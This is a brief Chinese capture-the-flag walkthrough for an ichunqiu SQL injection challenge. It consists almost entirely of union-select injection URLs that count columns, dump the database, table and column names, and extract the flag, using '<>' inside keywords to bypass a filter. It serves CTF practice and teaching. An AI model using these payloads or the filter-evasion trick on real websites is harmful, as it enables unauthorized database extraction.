i春秋【SQL】

看几列
http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 union sele<>ct 1,2,3--+

i春秋【SQL】_第1张图片

爆数据库
http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 union sele<>ct 1,database(),3--+

i春秋【SQL】_第2张图片

爆表名 列名
http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

i春秋【SQL】_第3张图片

爆字段
http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'--+

i春秋【SQL】_第4张图片
http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,group_concat(FlAg_T5ZNdrm),3 from info --+

i春秋【SQL】_第5张图片

你可能感兴趣的:(i春秋【SQL】)